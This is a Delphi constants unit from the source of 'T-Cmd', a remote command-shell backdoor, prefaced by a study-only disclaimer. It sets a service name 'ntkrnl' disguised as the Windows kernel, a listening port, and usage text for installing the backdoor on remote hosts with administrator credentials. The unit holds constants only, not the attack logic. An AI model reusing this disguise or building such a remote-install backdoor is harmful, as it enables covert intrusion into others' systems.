{

    Delphi 版 T-Cmd 源碼。
    本代碼僅供學習研究之用。任何人不得將其用于不法目的。
    由此造成的一切責任，由使用者承擔。特此聲明。

}
unit T_CMDCnst;

interface

const
  BUFFER_SIZE = 1024;
  CRLF        = #13#10;
  TAB         = '	';

const
  N_SERVICE_NAME              = 'ntkrnl';
  N_SERVICE_BINARY_PATH_NAME  = 'ntkrnl.exe';
  N_SERVICE_OPEN_PORT: Word   = 20540;

const
  N_START_MESSAGE   = #10 + TAB + TAB +
                      '---[ T-Cmd v1.0 beta, by TOo2y   ]---'#10 + TAB + TAB +
                      '---[ E-mail: TOo2y@safechina.net ]---'#10 + TAB + TAB +
                      '---[ HomePage: www.safechina.net ]---'#10 + TAB + TAB +
                      '---[ Date: 02-05-2003            ]---'#10 + TAB + TAB + 
                      '---[ Rebuild with Delphi by UPP  ]---'#10 + TAB + TAB +
                      '---[ Update Date: 28-10-2005     ]---'#10#10;
  N_USAGE_MESSAGE   =  'Attention:'#10 +
   '  Be careful with this software. Good Luck.'#10#10 +
   'Usage Show:'#10 +
   '  DTCmd  -Help'#10 +
   '  DTCmd  -Install  [RemoteHost]  [Account]  [Password]'#10 +
   '  DTCmd  -Remove   [RemoteHost]  [Account]  [Password]'#10#10 +
   'Example:'#10 +
   '  DTCmd  -Install  (Install in the localhost)'#10 +
   '  DTCmd  -Remove   (Remove  in the localhost)'#10 +
   '  DTCmd  -Install  192.168.0.1  Admin  123456  (Install in 192.168.0.1)'#10 +
   '  DTCmd  -Remove   192.168.0.1  Admin  123456  (Remove  in 192.168.0.1)'#10 +
   '  DTCmd  -Install  192.168.0.2  Admin  NULL    (NULL instead of no password)'#10#10;

const
  N_NET_WELCOM_MESSAGE =  CRLF + CRLF + TAB + TAB +
    '---[ T-Cmd v1.0 beta, by TOo2y   ]---' + CRLF + TAB + TAB +
    '---[ E-mail: TOo2y@safechina.net ]---' + CRLF + TAB + TAB + 
    '---[ Date: 02-05-2003            ]---' + CRLF + TAB + TAB +
    '---[ Rebuild with Delphi by UPP  ]---' + CRLF + TAB + TAB +
    '---[ Update Date: 28-10-2005     ]---' + CRLF + #13;
  N_NET_HELP_MESSAGE   =  CRLF + 'Escape Character is ''CTRL+]''' + CRLF + #13;

implementation

end.